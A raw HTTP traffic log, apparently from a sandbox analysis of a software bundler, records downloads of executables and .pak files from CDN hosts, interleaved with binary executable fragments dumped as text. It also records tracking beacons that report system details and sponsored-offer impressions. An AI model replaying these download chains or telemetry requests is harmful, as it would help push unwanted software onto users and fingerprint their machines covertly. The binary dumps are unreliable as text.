User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: 8vcyzxssv-457zol7j.netdna-ssl.com

Connection: Keep-Alive


HTTP/1.1 206 Partial Content

Date: Sat, 18 Apr 2015 07:35:27 GMT

Content-Type: application/octet-stream

Content-Length: 250000

Connection: keep-alive

x-amz-id-2: TIikErpOebFHAUVtOR0cw I7iuVIMr4jlL8S/rKTKlivFoOq8jH9kFHatqxYsHrlM6LSKR0kajY=

x-amz-request-id: 623FE3858EEABC7C

Last-Modified: Wed, 10 Dec 2014 11:34:48 GMT

ETag: "f8076da03b6b36fa1ec0bd5a082d8d95"

Server: NetDNA-cache/2.2

X-Cache: HIT

Content-Range: bytes 6750000-6999999/7590800
A.d.I?(..!.^.pc2....9.wf2..lZ.,..\.]Q..b.).0U.{hy.......B..-f..vM:.g..
.v.......!....].D*.....{s..U1.Q.bu..Z.B...6......bj.........5...".adY.
.%.....8V.q.$.......(...Z..$.A~G........t.2..b........_".%.7....H./e.9
.N.7.....Zbj...>.M.R.......#..........i..R.$.#....XxK.d8..&.k..7.].
.)_...=#.2..J....L.... .G....l.X...CA.i...-....T.A.S.:$.F.~...n.]Q%$..
.?H..a....O...#M......qD..=..K.......B....v...k........I.......s<..
,.1s6|..8D(.}..'..<.s.Q.....[M..[...\ .....]S}......j..V..?........
.......S...F..r._i....=\Ea.f[@....p....O...*[email protected].,.2ZA..Z.
r.3l.y...j#.L.q5..ct.KBnNx.$t.cMn.....(`....K..nt.;g..._.`......^...#U
.9RE`x... o..K.......A..F4}.:L.}.uQS.=,...........Dl..%....K.!)."EuKQ.
v...9.......f....9|..>Z..j.....k.......]...9]..;ul...16r....s..p3..
...n.....N.I...7t..J6j.wA..J=j.B...3p......L.[...}..8..j..o.w#{....|'.
..#..2..R..Y..._.>..!...^..nCw......._O........i~C....0.?}.z..m.c..
e..jpY$.;.m..H[...~....=.wR.'7Ih.........5..,wC. ...9...w..4u..@......
.....<.p,.._j.=..t.x.h..d..t..u.P8.,q..xX.....k.o.@...`....4...9..%
YgBo.1(d.$...)..n..y.:X.p/[...<.....*...A....<..ezO.....?6......
[email protected]...<..._6.....J...y../...I..FZ..w
..rH...oi.a..=....|...y|i|..5x.7-.c ..NE$_..m....]......u.!.....M.....
6jI.<%i&...n....S..$~G.6mR%w.C...Q....S7r../.o...\.,.}p.h..).......
]..F."....w..Y.._..{.c.5\f.. l.....{....U.*.D.!....?.).z..82.{....(...
A^`.`W.70........bnf.~.j...B......fe.......0.. .O...[.s.1=..I.0W..b!5.
.U.... ?I...R.....%.[..W.0iA2'.]*...9..E.....%...;..[...s.OQ..^cDp<<< skipped >>>

GET /yta33_full.exe HTTP/1.1

Range: bytes=7250000-7499999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: 8vcyzxssv-457zol7j.netdna-ssl.com

Connection: Keep-Alive


HTTP/1.1 206 Partial Content

Date: Sat, 18 Apr 2015 07:35:27 GMT

Content-Type: application/octet-stream

Content-Length: 250000

Connection: keep-alive

x-amz-id-2: TIikErpOebFHAUVtOR0cw I7iuVIMr4jlL8S/rKTKlivFoOq8jH9kFHatqxYsHrlM6LSKR0kajY=

x-amz-request-id: 623FE3858EEABC7C

Last-Modified: Wed, 10 Dec 2014 11:34:48 GMT

ETag: "f8076da03b6b36fa1ec0bd5a082d8d95"

Server: NetDNA-cache/2.2

X-Cache: HIT

Content-Range: bytes 7250000-7499999/7590800
1if....t......... ...9..... .&K..#.......... aW.R...r.y.K..M.D...W.R..
$..l...:e..W.;..(.... .%..:.....:...T.0...]...C.Sg..UH.'p.85H.........
..l......#f.0XY.$....a...p....&.6..h..P....|d......e..'......J......q.
..<j..8sG......._R..Zg.@.,."9....@.)W....N0....6.7w%..`...s%..P{..d
w.!]d...u3<X/.......?D.......161?3..|..%...i...O.qR....Uc=......f.m
[email protected](....J..RD...k.6...O.VG.A..z^.N`[email protected] %..
A...L<.d.....tZ.3..yc..^.[...Hv.&.<9..}..D.J..Y..&G.....gs...Ek.
g|ow.z'W..!.m..$..r;~..LU.D1D5.j.,~..B.B#2...u!^...\....8...CW.h....g.
'!...,....q..G.......3...qTL.........V*O....L..|.~.........N.e-..)v..A
.........7...I.AqOz..i.3.Q.W...s.).....B..S{..~..........p..{.. z.._'c
.EB....]...0R.P..U...*|.....~.{.oa&.(.h6."8..j.T...A6..] OM........df.
Hklt3..io.-...|. ...*[email protected]...@/..<. ...o.......
..i...........5b>....#/=2P>F....C].yB.pc.S.I-..{.,.......'$.."..
.......x..D......5....x.M6^[email protected]..:..V.d@&...0.....{.#.K..
.{.....q&..k..S.6.....bc.....xq.R.P........W.^[email protected][.,.......m..\..
\...5.._...I...0....).K.C..U>U.#.................D...7;...W..H.(.a.
.>..Ps......1....r..[Nl..}......>r^..0O..&..%..FS....I..).E.Q...
").DL..K.8...#.."IV.R..V..Y....i.}......"..H1.../....nE0y.A......AJ.=L
........l.......sb.../ ....n...r1-`....^H-..n...z..C.p..J.1.........-1
.6...5.VO..[.>.-....?....%.|..j..8...4.A.U.........pP.9.z..f...cgb.
:......X..(ck.......X......P..5..............`...E.....d.K.K.z.i..eN..
.vy.....;..`f..B...V2H...MO...y..:-@..,D5.].:._Iw.B....U.I..?"z...<<< skipped >>>

GET /3428_3b67a5ef5d450c1556c543c6323981d9/1.pak HTTP/1.1

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko

Host: dlrkbt247pbk6.cloudfront.net

Accept: */*

Accept-Encoding: gzip, deflate

Connection:keep-alive


HTTP/1.1 200 OK

Content-Type: application/octet-stream

Content-Length: 2211109

Connection: keep-alive

Date: Fri, 17 Apr 2015 10:03:34 GMT

Last-Modified: Fri, 17 Apr 2015 09:54:26 GMT

ETag: "bd672bcfb912270b29f4c1dd097905a3"

Accept-Ranges: bytes

Server: AmazonS3

Age: 77537

X-Cache: Hit from cloudfront

Via: 1.1 f4e6ec91daffc2ae17576e7595912d5c.cloudfront.net (CloudFront)

X-Amz-Cf-Id: 9YQ9otYFYQGUZ_OAbACxKL6bjniHc-mvAyV4WD5S5NTRZ2RYNzWrtg==
...... . .......!.............474.json.....5.9s..[.:?..y....xL..@a....
..w..sN.....^.9....'.t.."....u...........N5..g(.......{.)..Q.!..Dk..ze
f....s.{.kM.S.*:.......6|.&...M..ZWYr.....uA....R/..,...0..........g..
]V3..n.`...}..g_j.......i.n..;.........Ts..C......o.l.'7u..........l..
.z.ZJ......S"Z....f....W..m..^....$m.=...O.Z...k.=..i...`_...;......kV
........V..8?V.;...*......EF...^'...?*..n.r&....o..wv..}\S.,......N...
.4.w...6.......:....s..)......C.eg..4..........~........P.F.E.i....0..
....c.....9..feKn.q.x......y.........................PK...........F..3
.e....K......uninstallDlg2.xml.\m.....^.......z.f.N...mo..As..$(..@K..
.L.../...w(Q.d.k9.6^T..."....gH....o..1.'"...,gh[...G.-gV&...X(..E8...
.'.Z.........E.....(........q"sQ.@}=..Fd..X.8.!...Y..........|.o..1..Y
......%; t..hfI...Q.c.....S..8B.~.x..S%....p.G......u..m.R~%..E.......
.{.gp..9..?.'..k.\..I...]........K..B.$...q...5^.]..1...O......s...-.b
..L..M.s......Z.^qy.....ul.!7....N..2....!;.)..'K...t..4..5.O...q.....
....u...9...:iG4.P....Ek.....(..D.C......ng..{.oP.....{....t..nd8.`. .
c.x..!.;.$7........ve.........p4.s.P....C..l=7e.7.......\0"t=,"..(`f..
[email protected]*.6E%#....)..~N..6........1T.(......3.0...f.......7..xb
...v.&..C..q.`)n..e.Y.L1....j.'"$.q.=~..D.4...5Rq.....B.<(...m.Z...
.z>"...7 .fp..J.&..>*....e.mOl.)#.g@.*....?.?.=..8..f.....B..Q.G
.4.......!.!...`.2.V.....%....hQ.-.Q..^{[email protected]............\..:..
Kv.s....../OW.`N6(..&.....(5."....m..C....c.C..?{C^......pbT..*-...j..
F...R.......U..'o.OJUu.]^4..^........x~ I..0[nV....PA.O...8.'.r.BY<<< skipped >>>

GET /pinger?event_type=offer_shown&installer_source=better_installer&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=607deb71d8f3494f867a2b514a49c4e9&uniqid=5423049c0be0b64dd47e76f4552912c0&affiliate_id=videoplayer&software_id=videoplayer&sponsored_id=appshat_madness&tokyo_csrf2_key=88966f544384af5b75c38bd84c516aee&tokyo_csrf2_timestamp=1429342472&slot_number=4&index_in_screen=1&index_in_session=4&display_height=90&0.6777669106850298 HTTP/1.1

Accept: */*

Referer: hXXp://bi.bisrv.com/videoplayer/videoplayer/607deb71d8f3494f867a2b514a49c4e9?v=2.0&muid=AD2252CE007468623BD139B0ADEC3423

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: bi.bisrv.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Server: nginx

Date: Sat, 18 Apr 2015 07:35:08 GMT

Content-Type: image/jpeg

Transfer-Encoding: chunked

0..HTTP/1.1 200 OK..Server: nginx..Date: Sat, 18 Apr 2015 07:35:08 GMT
..Content-Type: image/jpeg..Transfer-Encoding: chunked..0..

GET /installer.gif?action=started&app=70299&appver=0&ver=1_36_01_22&version_date=15-04-18&bic=f1455de99fbc9c9080e7ed2fd747836eIE&verifier=b2eb32d323f5359842a735827d51a4f5&upi=f1455de99fbc9c9080e7ed2fd747836e&procid=D2C3D8ACABFF4453B526483BE0349472PI&srcid=000805&subid=0&zdata=eyJkYXRhIjp7ImRhdGUiOiJGNEl3c210eWMxLCUlUElYR1VJRChhZmY9c210eWMmc3ViPTEmcHJvZHVjdD15dGE=,&browser=ie&browserver=10&default=ie&chver=41.0.2272.118&ffver=29.0.1&iever=10.0.9200.16521&curtime=&country=ua&aver=X&xpiver=0_95&crxver=1_26_36&silent=1&os=7(64bit)&osbuild=7601&osprod=Windows 7 Professional N&ossp=Service Pack 1&osinstdt=1363796288&admin=1&type=17179873281&asw=0&asw2=1073750533&asw3=-2147475456&asw4=2048&crtnm=na&mdat=&procstarttime=1429342557&procruntime=5&rnd=1429342562 HTTP/1.1

Host: stats.neomapobjectrack.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 200 OK

x-amz-id-2: B2OMO8MX/RZfvS4Z/BT8vDcuSewbiq8oJkydO0sxf6RRImqqukiDueKMWJYM9AJx

x-amz-request-id: F97A23FD0F64D73C

Date: Sat, 18 Apr 2015 07:36:03 GMT

Expires: Mon, 26 Jul 1997 05:00:00 GMT

Cache-Control: no-cache, must-revalidate

Last-Modified: Wed, 01 Apr 2015 13:14:56 GMT

ETag: "28d6814f309ea289f847c69cf91194c6"

Content-Type: image/gif

Content-Length: 35

Server: AmazonS3
GIF89a.............,...........D..;HTTP/1.1 200 OK..x-amz-id-2: B2OMO8
MX/RZfvS4Z/BT8vDcuSewbiq8oJkydO0sxf6RRImqqukiDueKMWJYM9AJx..x-amz-requ
est-id: F97A23FD0F64D73C..Date: Sat, 18 Apr 2015 07:36:03 GMT..Expires
: Mon, 26 Jul 1997 05:00:00 GMT..Cache-Control: no-cache, must-revalid
ate..Last-Modified: Wed, 01 Apr 2015 13:14:56 GMT..ETag: "28d6814f309e
a289f847c69cf91194c6"..Content-Type: image/gif..Content-Length: 35..Se
rver: AmazonS3..GIF89a.............,...........D..;....


GET /installer.gif?action=finished&LFMR=_ffDll_0&app=70299&appver=&ver=1_36_01_22&version_date=15-04-18&bic=f1455de99fbc9c9080e7ed2fd747836eIE&verifier=b2eb32d323f5359842a735827d51a4f5&upi=f1455de99fbc9c9080e7ed2fd747836e&procid=D2C3D8ACABFF4453B526483BE0349472PI&srcid=000805&subid=0&zdata=eyJkYXRhIjp7ImRhdGUiOiJGNEl3c210eWMxLCUlUElYR1VJRChhZmY9c210eWMmc3ViPTEmcHJvZHVjdD15dGE=,&browser=ie&browserver=10&default=ie&chver=41.0.2272.118&ffver=29.0.1&iever=10.0.9200.16521&curtime=&country=ua&aver=X&xpiver=0_95&crxver=1_26_36&silent=1&os=7(64bit)&osbuild=7601&osprod=Windows 7 Professional N&ossp=Service Pack 1&osinstdt=1363796288&admin=1&type=17179873281&asw=0&asw2=1073750533&asw3=-2147475456&asw4=2048&crtnm=na&procstarttime=1429342557&procruntime=16&rnd=1429342573 HTTP/1.1

Host: stats.neomapobjectrack.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 200 OK

x-amz-id-2: iy9iCn5WaHIDNkmLnRFYlri5q2x8r8LiKjlKVB7uZSHIENj2Z6sYtrovp7IZjuU7

x-amz-request-id: C78941DEAE08F8EA

Date: Sat, 18 Apr 2015 07:36:14 GMT

Expires: Mon, 26 Jul 1997 05:00:00 GMT

Cache-Control: no-cache, must-revalidate

Last-Modified: Wed, 01 Apr 2015 13:14:56 GMT

ETag: "28d6814f309ea289f847c69cf91194c6"

Content-Type: image/gif

Content-Length: 35

Server: AmazonS3
GIF89a.............,...........D..;....


GET /apps.gif?action=install&app=70299&appver=&ver=1_36_01_22&version_date=15-04-18&bic=f1455de99fbc9c9080e7ed2fd747836eIE&verifier=b2eb32d323f5359842a735827d51a4f5&upi=f1455de99fbc9c9080e7ed2fd747836e&procid=D2C3D8ACABFF4453B526483BE0349472PI&srcid=000805&subid=0&zdata=eyJkYXRhIjp7ImRhdGUiOiJGNEl3c210eWMxLCUlUElYR1VJRChhZmY9c210eWMmc3ViPTEmcHJvZHVjdD15dGE=,&browser=ie&browserver=10&default=ie&chver=41.0.2272.118&ffver=29.0.1&iever=10.0.9200.16521&curtime=&country=ua&aver=X&installtime=1429342557&lifetime=0&silent=1&crtnm=na&procstarttime=1429342557&procruntime=16&rnd=1429342573 HTTP/1.1

Host: stats.neomapobjectrack.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 200 OK

x-amz-id-2: hY7MehqbHWdQNfTBgVSSbGIaYKkvz8pHZUt96/Le7MoC6ZzDFdRiXCFKTkZfmvKN

x-amz-request-id: B053394E3BE33378

Date: Sat, 18 Apr 2015 07:36:14 GMT

Expires: Mon, 26 Jul 1997 05:00:00 GMT

Cache-Control: no-cache, must-revalidate

Last-Modified: Wed, 01 Apr 2015 13:14:45 GMT

ETag: "28d6814f309ea289f847c69cf91194c6"

Content-Type: image/gif

Content-Length: 35

Server: AmazonS3

GIF89a.............,...........D..;HTTP/1.1 200 OK..x-amz-id-2: hY7Meh
qbHWdQNfTBgVSSbGIaYKkvz8pHZUt96/Le7MoC6ZzDFdRiXCFKTkZfmvKN..x-amz-requ
est-id: B053394E3BE33378..Date: Sat, 18 Apr 2015 07:36:14 GMT..Expires
: Mon, 26 Jul 1997 05:00:00 GMT..Cache-Control: no-cache, must-revalid
ate..Last-Modified: Wed, 01 Apr 2015 13:14:45 GMT..ETag: "28d6814f309e
a289f847c69cf91194c6"..Content-Type: image/gif..Content-Length: 35..Se
rver: AmazonS3..GIF89a.............,...........D..;..

GET /pinger?event_type=offer_shown&installer_source=better_installer&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=607deb71d8f3494f867a2b514a49c4e9&uniqid=5423049c0be0b64dd47e76f4552912c0&affiliate_id=videoplayer&software_id=videoplayer&sponsored_id=istartsurf&tokyo_csrf2_key=88966f544384af5b75c38bd84c516aee&tokyo_csrf2_timestamp=1429342472&slot_number=3&index_in_screen=1&index_in_session=3&display_height=50&0.8677267254584831 HTTP/1.1

Accept: */*

Referer: hXXp://bi.bisrv.com/videoplayer/videoplayer/607deb71d8f3494f867a2b514a49c4e9?v=2.0&muid=AD2252CE007468623BD139B0ADEC3423

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: bi.bisrv.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Server: nginx

Date: Sat, 18 Apr 2015 07:34:55 GMT

Content-Type: image/jpeg

Transfer-Encoding: chunked

0..HTTP/1.1 200 OK..Server: nginx..Date: Sat, 18 Apr 2015 07:34:55 GMT
..Content-Type: image/jpeg..Transfer-Encoding: chunked..0..

GET /infv5/index/3428/3rd HTTP/1.1

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:34.0) Gecko/20100101 Firefox/34.0

Host: dqoup4b5zs0bi.cloudfront.net

Accept: */*

Accept-Encoding: gzip, deflate

Connection:keep-alive


HTTP/1.1 302 Moved Temporarily

Content-Type: text/html

Content-Length: 0

Connection: keep-alive

Date: Sat, 18 Apr 2015 07:35:37 GMT

Location: hXXp://dlrkbt247pbk6.cloudfront.net/3428_92a5d683c188790231b1aa2af09de41e/2.pak

Server: nginx

X-Cache: Miss from cloudfront

Via: 1.1 3ff89417230c3ba285675742a503a229.cloudfront.net (CloudFront)

X-Amz-Cf-Id: N6O3ntTihquuqXE_qDl05aWD_x9YehIkFmLpRC5tkOHMOaihiYCmNw==

HTTP/1.1 302 Moved Temporarily..Content-Type: text/html..Content-Lengt
h: 0..Connection: keep-alive..Date: Sat, 18 Apr 2015 07:35:37 GMT..Loc
ation: hXXp://dlrkbt247pbk6.cloudfront.net/3428_92a5d683c188790231b1aa
2af09de41e/2.pak..Server: nginx..X-Cache: Miss from cloudfront..Via: 1
.1 3ff89417230c3ba285675742a503a229.cloudfront.net (CloudFront)..X-Amz
-Cf-Id: N6O3ntTihquuqXE_qDl05aWD_x9YehIkFmLpRC5tkOHMOaihiYCmNw==..

GET /monetization.gif?event=4&ibic=f1455de99fbc9c9080e7ed2fd747836eIE&verifier=b2eb32d323f5359842a735827d51a4f5&campaign=000171&country=ua&app=70121&os=7(64bit)&defbro=ie&chver=41.0.2272.118&ffver=29.0.1&iever=10.0.9200.16521&starttime=1429342556&asw=0_1073750533_-2147475456_2048&browser=ff&rnd=1429342556 HTTP/1.1

Host: logs.neomapobjectrack.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 200 OK

Date: Sat, 18 Apr 2015 07:36:16 GMT

Keep-Alive: timeout=5, max=100

Connection: Keep-Alive

Accept-Ranges: bytes

ETag: "1389114507"

Last-Modified: Tue, 07 Jan 2014 17:08:27 GMT

Cache-Control: max-age=86400

Content-Length: 35

Content-Type: image/gif

X-HW: 1429342576.dop003.fr7.t,1429342576.cds021.fr7.c

GIF89a.............,...........D..;HTTP/1.1 200 OK..Date: Sat, 18 Apr 
2015 07:36:16 GMT..Keep-Alive: timeout=5, max=100..Connection: Keep-Al
ive..Accept-Ranges: bytes..ETag: "1389114507"..Last-Modified: Tue, 07 
Jan 2014 17:08:27 GMT..Cache-Control: max-age=86400..Content-Length: 3
5..Content-Type: image/gif..X-HW: 1429342576.dop003.fr7.t,1429342576.c
ds021.fr7.c..GIF89a.............,...........D..;..

GET /softwares/4/3/vlc-2.0.6-win32.exe HTTP/1.1

Range: bytes=0-

User-Agent: Better Installer(Mozilla)

Host: download.betterinstaller.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Server: nginx

Date: Sat, 18 Apr 2015 07:34:39 GMT

Content-Type: application/octet-stream

Content-Length: 22948790

Last-Modified: Thu, 29 Aug 2013 08:26:14 GMT

Connection: keep-alive

ETag: "521f05a6-15e2bb6"

Content-Range: bytes 0-22948789/22948790

MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......PE..L...#..O
.....................P......'C............@..........................`
................ ..........................................a..........
......................................................................
...........................text...D........................... .0`.dat
[email protected]...#.......$................
[email protected]@.bss..................................0..idata..................
[email protected]...@[email protected]....
[email protected].............................................
......................................................................
......................................................................
......................................................................
......................................................................
............................................U..WVS.......U..E....t...F
.........{B..H...H.......M..E..5H{B..D$...$....B..M..E.....SS...E...$.
D$... .B..M..E......M.WW......M.)..M..NT....NP........E.....}...VT....
....FP..E........}..VP........U.......FT.............}..........E..M..
.$..|.B..E..R...D$..E..D$...$....B.....<$....B..E..Q.}.;}...Q....~X
........F4..$....B...W..........$.E......E......D$.........B.RR.FX..$.
D$.....B..5..B.QQ..$.|$...RR...E...$..|....D$. ....D$..D$......D$..{B.
....B...|.......T$...$..QQ.<$....B.S.M..E..D$...$....B.PP1....D

<<< skipped >>>

GET /yta33_full.exe HTTP/1.1

Range: bytes=0-249999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: 8vcyzxssv-457zol7j.netdna-ssl.com

Connection: Keep-Alive


HTTP/1.1 206 Partial Content

Date: Sat, 18 Apr 2015 07:35:24 GMT

Content-Type: application/octet-stream

Content-Length: 250000

Connection: keep-alive

x-amz-id-2: TIikErpOebFHAUVtOR0cw I7iuVIMr4jlL8S/rKTKlivFoOq8jH9kFHatqxYsHrlM6LSKR0kajY=

x-amz-request-id: 623FE3858EEABC7C

Last-Modified: Wed, 10 Dec 2014 11:34:48 GMT

ETag: "f8076da03b6b36fa1ec0bd5a082d8d95"

Server: NetDNA-cache/2.2

X-Cache: HIT

Content-Range: bytes 0-249999/7590800

MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......5..Yq...q...
q...q...~.......t.......p.......p.......p...Richq...........PE..L.....
.7......................s.............. ....@.........................
..s......st..............................!..5...D ..<....@..,.s....
.......s..............................................................
 ..D............................text............................... ..
`.rdata....... ......................@[email protected]...............
[email protected][email protected].................@..@...................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
...............................................U....x...SV.....W......
V3.PS..4 @.......VP......P..0 @..=, @.SSj.Sj.......h....P......E...{..
.......PV..( @[email protected]..$ @[email protected]
.../...SSSj.S.u.... @.SSSj.P.E.... @....E......G.....MZ..t...MZ..u..x.
.t..E.@.}.....|..M.SQh....P.u.... @.W... @..u..=. @....u...... @.j..E.
Y3..}.V.........E.D...P......P..0 @..u.......".......F...:.t..."t.@...
8"[email protected] [email protected]..< @.....E.P.E.PSSSSS...
...SP......P... @...t.j..u.... @.......P..  @._^3.[....:.t... t..H

<<< skipped >>>

GET /yta33_full.exe HTTP/1.1

Range: bytes=500000-749999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: 8vcyzxssv-457zol7j.netdna-ssl.com

Connection: Keep-Alive


HTTP/1.1 206 Partial Content

Date: Sat, 18 Apr 2015 07:35:24 GMT

Content-Type: application/octet-stream

Content-Length: 250000

Connection: keep-alive

x-amz-id-2: TIikErpOebFHAUVtOR0cw I7iuVIMr4jlL8S/rKTKlivFoOq8jH9kFHatqxYsHrlM6LSKR0kajY=

x-amz-request-id: 623FE3858EEABC7C

Last-Modified: Wed, 10 Dec 2014 11:34:48 GMT

ETag: "f8076da03b6b36fa1ec0bd5a082d8d95"

Server: NetDNA-cache/2.2

X-Cache: HIT

Content-Range: bytes 500000-749999/7590800
....a....(S...q........a...!.O..7\[email protected]....'.t.i.C..1%.... ..U$f.:n
.Z..a.kw4w`..0...&.F..^..$.FN..0..R.l....gY,4Q..=...&............k.i\.
}Q/..v.~..$W...../....JZ.)..#&....F.....D.. d..^D..QA.*.!&...1.jW..]#3
..A...#A.x.v....#8.....R..x c".A..vr..r....[.....>..^...Y..........
......mx....d ..o....k.d....x..w.....O.6...Q.......Od...6..a.o...<.
A....b....ds!..y=....Na..L..ZR.@[email protected]"..
..........K0.....T....1.3.....J/l....'[email protected]...?...Z...c..OJ...)R.
?S...u..s_Y.[..r.....3.#.....O...'[email protected]../vE.c... .......D..
.6G5..7H..........&.g.f ...n. ..3....L...V.~1..g.).(.......BA.}..s....
wL.Vr..x7..8.....H...o..%...(.........-C.....z.P.."........2.I.(...t..
n..V.2Q..M...Yf!u..=].7....][email protected]..* 
.....b7..... ......8bD....uA..-lN.BHu0`!q_B*.{.$.eq<.V.w...]...V_x.
[email protected]..]..s..%.[....r.....Ge,F.....U=|.]...k....I.....DU...fZ}.nMp.r..
.5.s!..8......s?..:..K.{........,.h.0....,....q8...9.=.......w$U.qe...
...$..G*.j.....'".....9.;;..h.#Rt]#*(...8/DV.pvP...;..,....W..e.....pD
K.....wp...O.^...(4....sk.Q..:..|....Jv.......(..&._.U.l#[email protected]\.P
}U.5c.L.........h.o5pt...,...p........-}...<.B-$....}..H..8d....G..
.L.4.d.Y.3.wrD..$L.....{qQ.....<..."._...O-zV .U.E:N1h.^>.U..0.B
!.}.e~.b............Z./b.~9...w.....dI....6d.\m.....2^.G...t.Ci...~..v
.....1......`...|....!.....S"gR.Z.jhp.q...5....&.n....^f..<xg......
..s.&.....-#....3F.q#.*..Eo. .2......R......,......."...2.mE...A].....
....x..VU...%.QY8Z.2.....O..5`..'..MnA..B.>v...F......dP....\?r<<< skipped >>>

GET /yta33_full.exe HTTP/1.1

Range: bytes=1000000-1249999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: 8vcyzxssv-457zol7j.netdna-ssl.com

Connection: Keep-Alive


HTTP/1.1 206 Partial Content

Date: Sat, 18 Apr 2015 07:35:24 GMT

Content-Type: application/octet-stream

Content-Length: 250000

Connection: keep-alive

x-amz-id-2: TIikErpOebFHAUVtOR0cw I7iuVIMr4jlL8S/rKTKlivFoOq8jH9kFHatqxYsHrlM6LSKR0kajY=

x-amz-request-id: 623FE3858EEABC7C

Last-Modified: Wed, 10 Dec 2014 11:34:48 GMT

ETag: "f8076da03b6b36fa1ec0bd5a082d8d95"

Server: NetDNA-cache/2.2

X-Cache: HIT

Content-Range: bytes 1000000-1249999/7590800
.'...:V....:/.s..im...7....W......8..r.1..}]6>9g........Q....`.....
-...c.So..Lm...9.....!...E.j!...3.\3.C.f.a.....C.#[email protected].... a
.....J;....u...*.......~.N..B........X.0.Z....).....4.O$..A~..ArG..X\.
...B.r.....8..G..@\.[.....d:[email protected].[...N.K.L.%l.]|...C....V.EhI.
Y...O..c....|q..._Y.m....rK....Z.on.y.s....v...y.f'.E....R.RO$f[......
...{t-5......>.......).m...S^.H......9..-...#..*h.g.X.1...O.~.?._..
2g_.....9.../......b 6/.6.-.6...(..V.. l26..W..<I.:.....&`M..<..
h.......).=@TEo.~...4.. ..`...!8...........7......=......Ui.!..;....).
...9.....&.@<..e....[_:..XV..UTC2....A..E.l.V.q.*Jyng.....Jv.m&....
....}.E1..c,00..~<.1..uE..B..E.Vs.O.....C..M&....[..EjQU^....../.b.
/.....a./....3........e..z....*.6&,..5..?.[JI...pQi)8...oC.."......tU.
..V_Ce..5u.Zza.(..m......\.......*......Q..Y..>.G.7.5..b.w..T(&...8
 \pwV.F,.8.<....V...*..,...}]......'...)..\..;...z#6..w_....9.^G..p
.0#..98..._Z...,.5....{..n.....Ma..$..V...'Wg..> Ci..h............`
.!....=......H...J...4. {...........U.....S^uC..E_.....?nN...s]...D..|
./?iY.......X..2^..[.....FS3..OL.8N......K'...Uy..1j/-...)%7.S...H..V.
.F .^.V..aP...4...u .:Z.q.9...1w......9s...6... XA..5V...8...`...1G..:
......~.w..n.........Z..2..Sj..-...|cp.....]7...2....o...?..) y0.p..8.
w..Ad..r..j...T2K)>()...-..hk..M....4...6?..W..CzZ...}[email protected]
...}..Y\......N.....A.=Y"q./. .....jy1F..&s t^,./....V&..L.u.L:U...ne&
lt;@1...GqN;.$QK.i..w.).3.,..3.....*...v ......uT..c;.y..7............
._"k...D.E..........O.....R_.u=.t.'.....W.h.?y...Jj...0.M........o<<< skipped >>>

GET /yta33_full.exe HTTP/1.1

Range: bytes=1500000-1749999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: 8vcyzxssv-457zol7j.netdna-ssl.com

Connection: Keep-Alive


HTTP/1.1 206 Partial Content

Date: Sat, 18 Apr 2015 07:35:25 GMT

Content-Type: application/octet-stream

Content-Length: 250000

Connection: keep-alive

x-amz-id-2: TIikErpOebFHAUVtOR0cw I7iuVIMr4jlL8S/rKTKlivFoOq8jH9kFHatqxYsHrlM6LSKR0kajY=

x-amz-request-id: 623FE3858EEABC7C

Last-Modified: Wed, 10 Dec 2014 11:34:48 GMT

ETag: "f8076da03b6b36fa1ec0bd5a082d8d95"

Server: NetDNA-cache/2.2

X-Cache: HIT

Content-Range: bytes 1500000-1749999/7590800
e.B$./..e...........Y......,.. ..Y........mP..R..b...L....Y 4.f.E&..A.
.|.*....^.;..S...&<<H'.q\[email protected]... .q.~._...
..s..4;. `\.....7H..zG.Z..]}.......4.._.....s..>`E.o....7..A..@....
6.... *..2...1. 4..C.o.......4...x.........@0iT..%)`%..y..f~........E.
..]hB...:..W...r...o.M$....S............X..... =............\@...t._..
.?......S..jc...U..,.. ~jY..IR.s....n...s...!..1..~.[....D..Dh...9..\.
L8.~c............O...h...:.W....../...YT.]W!.A1h"...F.......'....c....
 .,@>....4...D..]...s..t....1......A...<.A).w..t.&c..M.R2....&x.
...F..,{.t..r.5.<5....B.l.......y.iiF.....O..O..-Q"..m?k....l....tJ
.Vu..,Z.T...k.{...g.V8....."t].$...R...!...W...l.m....r.....g..|6.{.W.
}.W[.jV#.v.m.aa.QO_.M.m...fbK....9...r'..jaO.V.b..MF.:g.1]t.|..).y...C
.....2....xa1.e.d~.q.L........=.s..>v.^.&@:.i.Nz.#.t.....-%..kt...E
.$.......?5..&......5...H.M.5.P. .n{...!AX.~..^^i...*......zV....h.L..
.....k....G...EU.....:rq&.$.BIF^.B;(.x.%s./(Z...Dd'....(...v...&u...D.
EE.........uT..Pg9.. .)........N.....}?.q?...y..Y.Z....wY....v^|.f.\..
